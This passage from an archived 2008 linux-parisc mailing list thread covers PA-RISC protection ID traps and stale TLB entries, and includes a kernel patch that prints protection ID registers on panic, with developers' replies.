	yw-out-2324.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1750771AbYLRQQd (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Thu, 18 Dec 2008 11:16:33 -0500
Original-Received: by yw-out-2324.google.com with SMTP id 9so187890ywe.1
        for <linux-parisc@vger.kernel.org>; Thu, 18 Dec 2008 08:16:32 -0800 (PST)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=gamma;
        h=domainkey-signature:received:received:message-id:date:from:sender
         :to:subject:cc:in-reply-to:mime-version:content-type
         :content-transfer-encoding:content-disposition:references
         :x-google-sender-auth;
        bh=Ix+hVwiusFOemuKBwPhBLFXNDazdJ8cGPqybHEOvuiA=;
        b=kD2isD3mR27rOwkyTDmqUuf9VynKWhHdAi14jfhOlynrupvdiDRVd6aPCaU/GhcAeV
         1HRrF2iMZVVpsJE7IrBhgvRB6ix5EOgBX3IB4lAFJ1InDNWSrRZ63fnXjHVVX6GHFNsW
         4LyCULRBWHRH0gGcfjerNx9KWdrV+vK57BNQA=
DomainKey-Signature: a=rsa-sha1; c=nofws;
        d=gmail.com; s=gamma;
        h=message-id:date:from:sender:to:subject:cc:in-reply-to:mime-version
         :content-type:content-transfer-encoding:content-disposition
         :references:x-google-sender-auth;
        b=NgIMXinPQdXLbj62rgETL3jU1GbI08YaxGwUIS6GjuNeU6g4aAeHwz8khyRZSbgDdG
         u4E01UrMtQ5SRz2kACqmgsrcJlQnSamVvDaZzXtxjmz2Y2otgU/VCJUv7eYi7l7+EETX
         guQv7edCIJk9cx2Bi6CFGnMNNaI/gk9pFVumo=
Original-Received: by 10.90.67.10 with SMTP id p10mr1061213aga.106.1229616991916;
        Thu, 18 Dec 2008 08:16:31 -0800 (PST)
Original-Received: by 10.90.34.13 with HTTP; Thu, 18 Dec 2008 08:16:31 -0800 (PST)
In-Reply-To: <20081218040400.GE30438@bombadil.infradead.org>
Content-Disposition: inline
X-Google-Sender-Auth: 2977ad94a2aeb18a
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:977
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/977>

On Wed, Dec 17, 2008 at 11:04 PM, Kyle McMartin <kyle@infradead.org> wrote:
> On Wed, Dec 17, 2008 at 10:02:13PM -0500, John David Anglin wrote:
>> > Eh? r22 is 0020fd0e... although it's easier to spot by looking at IOR
>> > > >  IIR: 0ed5d240    ISR: 00000847  IOR: 0020fd0e
>>
>> Obviously, I can't count...
>>
>> > Although, I don't think we're supposed to ever be taking a P. Id trap on
>> > a userspace process as the kernel...
>>
>> Ok, should P and/or D be on?
>>
>
> Huh... Possibly the P-bit shouldn't be on for kernel mode... the kernel
> after all can scribble on whomevers pages it so chooses...

IMO the kernel should run with the P-Bit on.

Disabling the P-Bit could potentially mask stale TLB entry bugs.

Imagine this scenario:
1. Context switch to process A, setup protection ids, setup TLB entries.
2. Context switch to process B, setup protection ids, incorrectly
setup TLB entries (entries from process A remain).
3. Kernel tries to access process B's page but triggers TLB entry for
process A and gets a data protection id trap.

The trap in #3 is correct since we used a stale TLB entry.

What I don't know is this: Are all of process A's tlb entries purged
at context switch? Do they have to be?

Do we implement lazy tlb flushing? Do process A's tlb entries only get
flushed when they trigger a data protection id trap?

>> There might be a problem restoring access IDs after a cache purge or
>> TLB insertion.
>>
>
> I honestly have no idea how the protection id registers are loaded... I
> thought it had something do with with space registers, but I can't
> remember off the top of my head.

I would imagine protection id registers are loaded at every context switch?

Do threads have the same protection id register values (and the same
space register) such that they can access the same pages?

c.
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:03:11 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Kyle McMartin <kyle@infradead.org>
Newsgroups: gmane.linux.ports.parisc
Subject: dumping pid registers on panic
Date: Thu, 18 Dec 2008 11:44:04 -0500
Lines: 83
Approved: news@gmane.org
Message-ID: <20081218164404.GB8535@bombadil.infradead.org>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1229618663 21536 80.91.229.12 (18 Dec 2008 16:44:23 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Thu, 18 Dec 2008 16:44:23 +0000 (UTC)
To: linux-parisc@vger.kernel.org
Original-X-From: linux-parisc-owner@vger.kernel.org Thu Dec 18 17:45:28 2008
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1LDM00-0004FF-NT
	for glpp-linux-parisc@gmane.org; Thu, 18 Dec 2008 17:45:21 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1750784AbYLRQoG (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Thu, 18 Dec 2008 11:44:06 -0500
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1751047AbYLRQoG
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Thu, 18 Dec 2008 11:44:06 -0500
Original-Received: from bombadil.infradead.org ([18.85.46.34]:49543 "EHLO
	bombadil.infradead.org" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1750784AbYLRQoF (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Thu, 18 Dec 2008 11:44:05 -0500
Original-Received: from kyle by bombadil.infradead.org with local (Exim 4.68 #1 (Red Hat Linux))
	id 1LDLym-00049L-KL
	for linux-parisc@vger.kernel.org; Thu, 18 Dec 2008 16:44:04 +0000
Content-Disposition: inline
User-Agent: Mutt/1.5.18 (2008-05-17)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:978
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/978>

diff --git a/arch/parisc/include/asm/assembly.h b/arch/parisc/include/asm/assembly.h
index ffb2088..b152733 100644
--- a/arch/parisc/include/asm/assembly.h
+++ b/arch/parisc/include/asm/assembly.h
@@ -447,6 +447,11 @@
 	mtctl	 %r0,	%cr18
 	SAVE_CR  (%cr18, PT_IAOQ1(\regs))
 
+	SAVE_CR	 (%cr8,  PT_PID0(\regs))
+	SAVE_CR	 (%cr9,  PT_PID1(\regs))
+	SAVE_CR	 (%cr12, PT_PID2(\regs))
+	SAVE_CR	 (%cr13, PT_PID3(\regs))
+
 #ifdef CONFIG_64BIT
 	/* cr11 (sar) is a funny one.  5 bits on PA1.1 and 6 bit on PA2.0
 	 * For PA2.0 mtsar or mtctl always write 6 bits, but mfctl only
diff --git a/arch/parisc/kernel/asm-offsets.c b/arch/parisc/kernel/asm-offsets.c
index 699cf8e..f3990fb 100644
--- a/arch/parisc/kernel/asm-offsets.c
+++ b/arch/parisc/kernel/asm-offsets.c
@@ -220,6 +220,10 @@ int main(void)
 	DEFINE(PT_SR5, offsetof(struct pt_regs, sr[ 5]));
 	DEFINE(PT_SR6, offsetof(struct pt_regs, sr[ 6]));
 	DEFINE(PT_SR7, offsetof(struct pt_regs, sr[ 7]));
+	DEFINE(PT_PID0, offsetof(struct pt_regs, protid[0]));
+	DEFINE(PT_PID1, offsetof(struct pt_regs, protid[1]));
+	DEFINE(PT_PID2, offsetof(struct pt_regs, protid[2]));
+	DEFINE(PT_PID3, offsetof(struct pt_regs, protid[3]));
 	DEFINE(PT_IASQ0, offsetof(struct pt_regs, iasq[0]));
 	DEFINE(PT_IASQ1, offsetof(struct pt_regs, iasq[1]));
 	DEFINE(PT_IAOQ0, offsetof(struct pt_regs, iaoq[0]));
diff --git a/arch/parisc/kernel/traps.c b/arch/parisc/kernel/traps.c
index 4c771cd..e3effd9 100644
--- a/arch/parisc/kernel/traps.c
+++ b/arch/parisc/kernel/traps.c
@@ -91,6 +91,34 @@ static void print_gr(char *level, struct pt_regs *regs)
 		PRINTREGS(level, regs->gr, "r", RFMT, i);
 }
 
+static u32 __get_pid_from_cr(struct pt_regs *regs, int i)
+{
+#ifdef CONFIG_64BIT
+	return (regs->protid[(i&1?i^1:i)>>1] >> (i&1?32:0)) & 0xffffffff;
+#else
+	return regs->cr[pid_cr[i]];
+#endif /*CONFIG_64BIT*/
+}
+
+#ifdef CONFIG_64BIT
+# define MAX_PROT_IDS	8
+#else
+# define MAX_PROT_IDS	4
+#endif /*CONFIG_64BIT*/
+
+static void print_pids(char *level, struct pt_regs *regs)
+{
+	int i;
+
+#define PROTID(x)	__get_pid_from_cr(regs, x)
+	for (i = 0; i < MAX_PROT_IDS; i += 4) {
+		printk("%sprot_id%d-%d    %08x %08x %08x %08x\n",
+			level, i, i+3, PROTID(i), PROTID(i+1), PROTID(i+2),
+			PROTID(i+3));
+	}
+#undef PROTID
+}
+
 static void print_fr(char *level, struct pt_regs *regs)
 {
 	int i;
@@ -281,6 +309,7 @@ KERN_CRIT "                     ||     ||\n");
 	current->thread.flags |= PARISC_KERNEL_DEATH;
 
 	show_regs(regs);
+	print_pids(KERN_CRIT, regs);
 	dump_stack();
 	add_taint(TAINT_DIE);
 
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:03:11 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Carlos O'Donell" <carlos@systemhalted.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: dumping pid registers on panic
Date: Thu, 18 Dec 2008 12:20:57 -0500
Lines: 33
Approved: news@gmane.org
Message-ID: <119aab440812180920i5ece4f9o5be5eb7a560d812a@mail.gmail.com>
References: <20081218164404.GB8535@bombadil.infradead.org>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1229620888 29970 80.91.229.12 (18 Dec 2008 17:21:28 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Thu, 18 Dec 2008 17:21:28 +0000 (UTC)
To: "Kyle McMartin" <kyle@infradead.org>,
	linux-parisc <linux-parisc@vger.kernel.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Thu Dec 18 18:22:33 2008
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1LDMZi-0004EW-Q9
	for glpp-linux-parisc@gmane.org; Thu, 18 Dec 2008 18:22:15 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751747AbYLRRVA (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Thu, 18 Dec 2008 12:21:00 -0500
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1751838AbYLRRU7
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Thu, 18 Dec 2008 12:20:59 -0500
Original-Received: from rn-out-0910.google.com ([64.233.170.184]:43109 "EHLO
	rn-out-0910.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1751747AbYLRRU6 (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Thu, 18 Dec 2008 12:20:58 -0500
Original-Received: by rn-out-0910.google.com with SMTP id k40so413999rnd.17
        for <linux-parisc@vger.kernel.org>; Thu, 18 Dec 2008 09:20:57 -0800 (PST)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=gamma;
        h=domainkey-signature:received:received:message-id:date:from:sender
         :to:subject:in-reply-to:mime-version:content-type
         :content-transfer-encoding:content-disposition:references
         :x-google-sender-auth;
        bh=sfGBV6hCliXrtGPVbys+N4EUB3PqJUn/YTWvJT2TKE0=;
        b=a28KqhwQXQadfGHixJ7X8iAMuHr1myQkn4uTx1muojr9qL3FS7beqy9pi/NRn2jk5z
         rPL5BU1bxePeUZ9vBX02fp0eYWQlbQ8IEqUD2sSQmYEkuaWb19Y/8ktf29mL4lJvrOrE
         m+uy+qY9jQZhSHHU0LKQ2ZPn6mC8c/3CwaobI=
DomainKey-Signature: a=rsa-sha1; c=nofws;
        d=gmail.com; s=gamma;
        h=message-id:date:from:sender:to:subject:in-reply-to:mime-version
         :content-type:content-transfer-encoding:content-disposition
         :references:x-google-sender-auth;
        b=OjfHeITp++BjRLAFyT/nx0mGhSWc/+9G17AQLCbdkQs3oKSHGCdUDIvPAr+fCtfIjN
         KL/A0MyeBDZJin+xaZ9quSLX090WJdxwdVCsiU3eXumvBsJCeNCaz76ikb7bMqKj0eCH
         40VLcoONCHsMCI+QTceEpAJAhKSCYckuCHzBc=
Original-Received: by 10.90.84.17 with SMTP id h17mr1229245agb.86.1229620857833;
        Thu, 18 Dec 2008 09:20:57 -0800 (PST)
Original-Received: by 10.90.34.13 with HTTP; Thu, 18 Dec 2008 09:20:57 -0800 (PST)
In-Reply-To: <20081218164404.GB8535@bombadil.infradead.org>
Content-Disposition: inline
X-Google-Sender-Auth: 8bbf508c3449a9d6
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:979
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/979>

On Thu, Dec 18, 2008 at 11:44 AM, Kyle McMartin <kyle@infradead.org> wrote:
> diff --git a/arch/parisc/include/asm/assembly.h b/arch/parisc/include/asm/assembly.h
> index ffb2088..b152733 100644
> --- a/arch/parisc/include/asm/assembly.h
> +++ b/arch/parisc/include/asm/assembly.h
> @@ -447,6 +447,11 @@
>        mtctl    %r0,   %cr18
>        SAVE_CR  (%cr18, PT_IAOQ1(\regs))
>
> +       SAVE_CR  (%cr8,  PT_PID0(\regs))
> +       SAVE_CR  (%cr9,  PT_PID1(\regs))
> +       SAVE_CR  (%cr12, PT_PID2(\regs))
> +       SAVE_CR  (%cr13, PT_PID3(\regs))

In a 64-bit kernel (W-bit set to 1) these registers are 64-bits in
width and each one contains 2 pids?

e.g.
CR8 = pid1, pid2
CR9 = pid3, pid4
CR12 = pid5, pid6
CR13 = pid7, pid8

The docs say the pids can be from 16-32 bits wide, but the true length
is implementation dependent.

Cheers,
Carlos.
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:03:11 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Carlos O'Donell" <carlos@systemhalted.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: dumping pid registers on panic
Date: Thu, 18 Dec 2008 12:58:29 -0500
Lines: 18
Approved: news@gmane.org
Message-ID: <119aab440812180958y30267cc1id038d1a3fbe7ae73@mail.gmail.com>
References: <20081218164404.GB8535@bombadil.infradead.org>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1229623130 5476 80.91.229.12 (18 Dec 2008 17:58:50 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Thu, 18 Dec 2008 17:58:50 +0000 (UTC)
Cc: linux-parisc@vger.kernel.org
To: "Kyle McMartin" <kyle@infradead.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Thu Dec 18 18:59:56 2008
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1LDNA2-0003fN-TO
	for glpp-linux-parisc@gmane.org; Thu, 18 Dec 2008 18:59:47 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751412AbYLRR6c (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Thu, 18 Dec 2008 12:58:32 -0500
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1751513AbYLRR6c
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Thu, 18 Dec 2008 12:58:32 -0500
Original-Received: from yx-out-2324.google.com ([74.125.44.28]:5438 "EHLO
	yx-out-2324.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1751412AbYLRR6b (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Thu, 18 Dec 2008 12:58:31 -0500
Original-Received: by yx-out-2324.google.com with SMTP id 8so211718yxm.1
        for <linux-parisc@vger.kernel.org>; Thu, 18 Dec 2008 09:58:29 -0800 (PST)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=gamma;
        h=domainkey-signature:received:received:message-id:date:from:sender
         :to:subject:cc:in-reply-to:mime-version:content-type
         :content-transfer-encoding:content-disposition:references
         :x-google-sender-auth;
        bh=Pm8LIIyOWpUIbXuPAcA1dA7ZJkRnGutNhil82uNWWG4=;
        b=E/4CFMqTyGWlLO0RySecp8G/4vOSK245GZ4LnoAlJPMeARnmzm7eTUr2eL7ZGCg+v1
         5QMr/g3FEYKhDIgtEv8jzyYqiPOYljPtoCbAtbCPzsCmCH/EMbnhQQfe2kSjvOjHf1BH
         lCEBQsX30EqsjKkj0cpHkrDvoKg46AuM8Tto8=
DomainKey-Signature: a=rsa-sha1; c=nofws;
        d=gmail.com; s=gamma;
        h=message-id:date:from:sender:to:subject:cc:in-reply-to:mime-version
         :content-type:content-transfer-encoding:content-disposition
         :references:x-google-sender-auth;
        b=cCEDm3qz9byvfJKqF3gXoNQLN5Uja1ghY9QZ/wXlh9tPBs4b22ESb1m4i4P08ndoOO
         uiTW6NAmsSMQK9Dd+SKWhlNmu0bpWI11Yr0q1RihjvriFZm3TyS9XhyRgO0kBTG3YTBD
         JCzKxZ8IbokaO32rk38gzKBSIzr+aSD5/E6cg=
Original-Received: by 10.90.99.5 with SMTP id w5mr1283608agb.16.1229623109692;
        Thu, 18 Dec 2008 09:58:29 -0800 (PST)
Original-Received: by 10.90.34.13 with HTTP; Thu, 18 Dec 2008 09:58:29 -0800 (PST)
In-Reply-To: <20081218164404.GB8535@bombadil.infradead.org>
Content-Disposition: inline
X-Google-Sender-Auth: ec7e6959d403b7b6
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:980
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/980>

On Thu, Dec 18, 2008 at 11:44 AM, Kyle McMartin <kyle@infradead.org> wrote:
> +static u32 __get_pid_from_cr(struct pt_regs *regs, int i)
> +{
> +#ifdef CONFIG_64BIT
> +       return (regs->protid[(i&1?i^1:i)>>1] >> (i&1?32:0)) & 0xffffffff;
> +#else
> +       return regs->cr[pid_cr[i]];
> +#endif /*CONFIG_64BIT*/
> +}

Oh, I see you are too clever for me today. Thanks.

c.
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:03:11 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Kyle McMartin <kyle@infradead.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [PATCH] [RFC] fix kernel crash (protection id trap) when
Date: Thu, 18 Dec 2008 13:28:25 -0500
Lines: 16
Approved: news@gmane.org
Message-ID: <20081218182825.GA1827@bombadil.infradead.org>
References: <20081218004329.GB30438@bombadil.infradead.org> <20081218030214.5CABB4E99@hiauly1.hia.nrc.ca> <20081218040400.GE30438@bombadil.infradead.org>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1229624926 12046 80.91.229.12 (18 Dec 2008 18:28:46 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Thu, 18 Dec 2008 18:28:46 +0000 (UTC)
Cc: John David Anglin <dave@hiauly1.hia.nrc.ca>, deller@gmx.de,
	linux-parisc@vger.kernel.org
To: Kyle McMartin <kyle@infradead.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Thu Dec 18 19:29:52 2008
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1LDNd1-00081H-Pb
	for glpp-linux-parisc@gmane.org; Thu, 18 Dec 2008 19:29:44 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751972AbYLRS23 (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Thu, 18 Dec 2008 13:28:29 -0500
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1751980AbYLRS23
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Thu, 18 Dec 2008 13:28:29 -0500
Original-Received: from bombadil.infradead.org ([18.85.46.34]:53203 "EHLO
	bombadil.infradead.org" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1751972AbYLRS22 (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Thu, 18 Dec 2008 13:28:28 -0500
Original-Received: from kyle by bombadil.infradead.org with local (Exim 4.68 #1 (Red Hat Linux))
	id 1LDNbl-0004mM-Q7; Thu, 18 Dec 2008 18:28:25 +0000
Content-Disposition: inline
In-Reply-To: <20081218040400.GE30438@bombadil.infradead.org>
User-Agent: Mutt/1.5.18 (2008-05-17)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:981
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/981>

On Wed, Dec 17, 2008 at 11:04:00PM -0500, Kyle McMartin wrote:
> > There might be a problem restoring access IDs after a cache purge or
> > TLB insertion.
> > 
> 
> I honestly have no idea how the protection id registers are loaded... I
> thought it had something do with with space registers, but I can't
> remember off the top of my head.

For future reference, in mmu_context.h. Bloody tricky mtctl() macro
doesn't take a prefix, just the numeric cr #.
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:03:11 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Carlos O'Donell" <carlos@systemhalted.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [PATCH] [RFC] fix kernel crash (protection id trap) when
Date: Fri, 19 Dec 2008 10:25:48 -0500
Lines: 29
Approved: news@gmane.org
Message-ID: <119aab440812190725r4e222233r7e3115b1db9ed919@mail.gmail.com>
References: <20081218004329.GB30438@bombadil.infradead.org>
	 <20081218030214.5CABB4E99@hiauly1.hia.nrc.ca>
	 <20081218040400.GE30438@bombadil.infradead.org>
	 <20081218182825.GA1827@bombadil.infradead.org>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1229700377 4971 80.91.229.12 (19 Dec 2008 15:26:17 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Fri, 19 Dec 2008 15:26:17 +0000 (UTC)
Cc: "John David Anglin" <dave@hiauly1.hia.nrc.ca>, deller@gmx.de,
	linux-parisc@vger.kernel.org
To: "Kyle McMartin" <kyle@infradead.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Fri Dec 19 16:27:22 2008
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1LDhFq-000082-I9
	for glpp-linux-parisc@gmane.org; Fri, 19 Dec 2008 16:27:07 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751041AbYLSPZv (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Fri, 19 Dec 2008 10:25:51 -0500
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1751150AbYLSPZv
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Fri, 19 Dec 2008 10:25:51 -0500
Original-Received: from mail-gx0-f13.google.com ([209.85.217.13]:54022 "EHLO
	mail-gx0-f13.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1751041AbYLSPZu (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Fri, 19 Dec 2008 10:25:50 -0500
Original-Received: by gxk6 with SMTP id 6so968539gxk.13
        for <linux-parisc@vger.kernel.org>; Fri, 19 Dec 2008 07:25:49 -0800 (PST)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=gamma;
        h=domainkey-signature:received:received:message-id:date:from:sender
         :to:subject:cc:in-reply-to:mime-version:content-type
         :content-transfer-encoding:content-disposition:references
         :x-google-sender-auth;
        bh=FQWEy380Ut5eUFCkBl7G6uqciSqNBfXgIICQdrYeIjE=;
        b=p7x3FtfRXwJnmBfrIl9sQD+twyU5jBkDK9Y6Oig+ZxA9yEIPBBO61kOOqFpwMHQe/b
         9hZFznIfSMybA+1C3cECG1Z0RsTm+2v3Au5IryA7X+IbCJoO97fcjfuVXIbMEcoOO/uS
         BUZiJ3TITL8yjeesobUnzmoFxc5JQ2uAcc3EU=
DomainKey-Signature: a=rsa-sha1; c=nofws;
        d=gmail.com; s=gamma;
        h=message-id:date:from:sender:to:subject:cc:in-reply-to:mime-version
         :content-type:content-transfer-encoding:content-disposition
         :references:x-google-sender-auth;
        b=p1eCN8tP6zHpIs81da3yfDtMedZOaT+Ae/y9lYBuBLS6+mjkYj9lTbPCzv6uzHC900
         yDrpaJC8R6X2cBjyou1tP3GXSZ/Ydixrns8A431cBjCcMx35z3KBILgx7RplBF+sLF4R
         x6QBA5nh9/2ydqZAUvPcIDTNNGQpwyeO24wq4=
Original-Received: by 10.90.34.11 with SMTP id h11mr1802101agh.114.1229700348900;
        Fri, 19 Dec 2008 07:25:48 -0800 (PST)
Original-Received: by 10.90.34.13 with HTTP; Fri, 19 Dec 2008 07:25:48 -0800 (PST)
In-Reply-To: <20081218182825.GA1827@bombadil.infradead.org>
Content-Disposition: inline
X-Google-Sender-Auth: bc5877d95e863160
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:982
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/982>

On Thu, Dec 18, 2008 at 1:28 PM, Kyle McMartin <kyle@infradead.org> wrote:
> On Wed, Dec 17, 2008 at 11:04:00PM -0500, Kyle McMartin wrote:
>> > There might be a problem restoring access IDs after a cache purge or
>> > TLB insertion.
>> >
>>
>> I honestly have no idea how the protection id registers are loaded... I
>> thought it had something do with with space registers, but I can't
>> remember off the top of my head.
>
> For future reference, in mmu_context.h. Bloody tricky mtctl() macro
> doesn't take a prefix, just the numeric cr #.

Evil.

Helge,

Can you cleanup your patch and resubmit. I think your patch is a good
belt-and-suspenders patch. The kernel should not fault on a protection
id trap taken while writing to a userspace address (even if such a
scenario indicates a possible bug in the mm context switching code).

Cheers,
Carlos.
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:03:11 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [PATCH] [RFC] fix kernel crash (protection id trap) when
Date: Fri, 19 Dec 2008 11:13:29 -0500 (EST)
Lines: 23
Approved: news@gmane.org
Message-ID: <20081219161330.04BE04EF8@hiauly1.hia.nrc.ca>
References: <119aab440812190725r4e222233r7e3115b1db9ed919@mail.gmail.com>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1229703235 16005 80.91.229.12 (19 Dec 2008 16:13:55 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Fri, 19 Dec 2008 16:13:55 +0000 (UTC)
